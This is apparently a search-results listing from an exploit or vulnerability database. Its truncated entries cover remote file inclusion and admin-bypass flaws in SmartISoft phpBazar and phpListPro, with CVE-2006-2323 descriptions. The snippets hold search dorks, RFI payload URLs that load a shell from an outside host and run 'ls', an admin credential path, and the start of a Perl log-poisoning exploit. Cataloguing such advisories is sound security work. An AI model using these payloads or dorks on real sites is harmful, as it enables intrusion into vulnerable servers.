38 matches found
phpBazar <= 2.1.0 Multiple vulnerabilites
Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password: /admin/admin.php?action=editmember&value=1 Fou...
phpBazar <= 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities
Exploit for unknown platform in category web applications ============================================================== phpBazar = 2.1.0 Remote Include/Auth Bypass Vulnerabilities ============================================================== Title: phpBazar = 2.1.0 Multiple vulnerabilites URL:...
phpBazar 2.1.0 - Remote File Inclusion / Authentication Bypass
Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password: /admin/admin.php?action=editmember&value=1...
phpListPro 2.0.1 - 'Language' Remote Code Execution
!/usr/bin/perl Title: phpListPro = 2.0.1 Remote Command Execution Exploit URL: http://www.smartisoft.com/ Info: - arbitrary local inclusion - need magicquotesgpc=off use IO::Socket; use LWP::Simple; ripped from rgod @apache= "/var/log/httpd/accesslog%00", "/var/log/httpd/errorlog%00",...
phpBazar 2.1.0 - Remote File Inclusion Authentication Bypass
phpBazar 2.1.0 - Remote File Inclusion Authentication Bypass Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login...
phpListPro 2.0.1 - Language Remote Code Execution
phpListPro 2.0.1 - Language Remote Code Execution !/usr/bin/perl Title: phpListPro = 2.0.1 Remote Command Execution Exploit URL: http://www.smartisoft.com/ Info: - arbitrary local inclusion - need magicquotesgpc=off use IO::Socket; use LWP::Simple; ripped from rgod @apache=...
PhpListPro.txt
Credits: Discovered by: SnoB - [email protected] http://www.cyber-security.org Vendor URL : SmartISoft http://smartisoft.com Dork/Search for: "PHPListPro ©2001-2006 SmartISoft" Exploit : /config.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in SmartISoft phpListPro 2.01 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the returnpath parameter in 1 editsite.php, 2 addsite.php, and 3 in.php. NOTE: The config.php vector is already covered by CVE-2006-1749...
CVE-2006-2323
Multiple PHP remote file inclusion vulnerabilities in SmartISoft phpListPro 2.01 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the returnpath parameter in 1 editsite.php, 2 addsite.php, and 3 in.php. NOTE: The config.php vector is already covered by CVE-2006-1749...
CVE-2006-2323
The connected entries clearly describe a Remote File Inclusion (RFI) vulnerability in phpListPro (SmartISoft phpListPro) affecting 2.0 and earlier, exploitable via the returnpath parameter in config.php, editsite.php, addsite.php, and in.php. The underlying issue is failure to sanitize user input...
CVE-2006-2323
Multiple PHP remote file inclusion vulnerabilities in SmartISoft phpListPro 2.01 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the returnpath parameter in 1 editsite.php, 2 addsite.php, and 3 in.php. NOTE: The config.php vector is already covered by CVE-2006-1749...
PhpListPro 2.01 Remote File Include Vulnerability
Credits: Discovered by: SnoB - [email protected] http://www.cyber-security.org Vendor URL : SmartISoft http://smartisoft.com Dork/Search for: "PHPListPro ©2001-2006 SmartISoft" Exploit : /config.php?returnpath=http://www.example.com/yourscript.txt?&ls20-laF...
[MajorSecurity] phpListPro <= 2.01 - Multiple Remote File Include Vulnerability
MajorSecurity phpListPro = 2.01 - Multiple Remote File Include Vulnerability -------------------------------------------------------- Software: phpListPro Version: =2.01 Type: Multiple Remote File Include Vulnerability Date: May, 8th 2006 Vendor: SmartISoft Page: http://smartisoft.com Risc: High...
phpListPro 2.01 - Multiple Remote File Inclusions
phpListPro 2.01 - Multiple Remote File Inclusions Title: phpListPro = 2.01 - Remote File Include Vulnerability ----------------------------------------------------------------- Vendor: SmartISoft URL: http://smartisoft.com ----------------------------------------------------------------- Credits:...
phpListPro 2.01 - Multiple Remote File Inclusions
Title: phpListPro = 2.01 - Remote File Include Vulnerability ----------------------------------------------------------------- Vendor: SmartISoft URL: http://smartisoft.com ----------------------------------------------------------------- Credits: Discovered by: 'Aesthetico'...
phpListPro <= 2.01 Multiple Remote File Include Vulnerabilities
No description provided by source. Title: phpListPro = 2.01 - Remote File Include Vulnerability ----------------------------------------------------------------- Vendor: SmartISoft URL: http://smartisoft.com ----------------------------------------------------------------- Credits: Discovered by:...
phpListPro <= 2.01 Multiple Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications =============================================================== phpListPro = 2.01 Multiple Remote File Include Vulnerabilities =============================================================== Title: phpListPro = 2.01 - Remote File Include...
phpListPro <= 2.0 - Remote File Include Vulnerability
phpListPro = 2.0 - Remote File Include Vulnerability -------------------------------------------------------- Software: phpListPro Version: =2.00 Type: Remote File Include Vulnerability Date: April, 11th 2006 Vendor: SmartISoft Page: http://smartisoft.com Risc: High Credits:...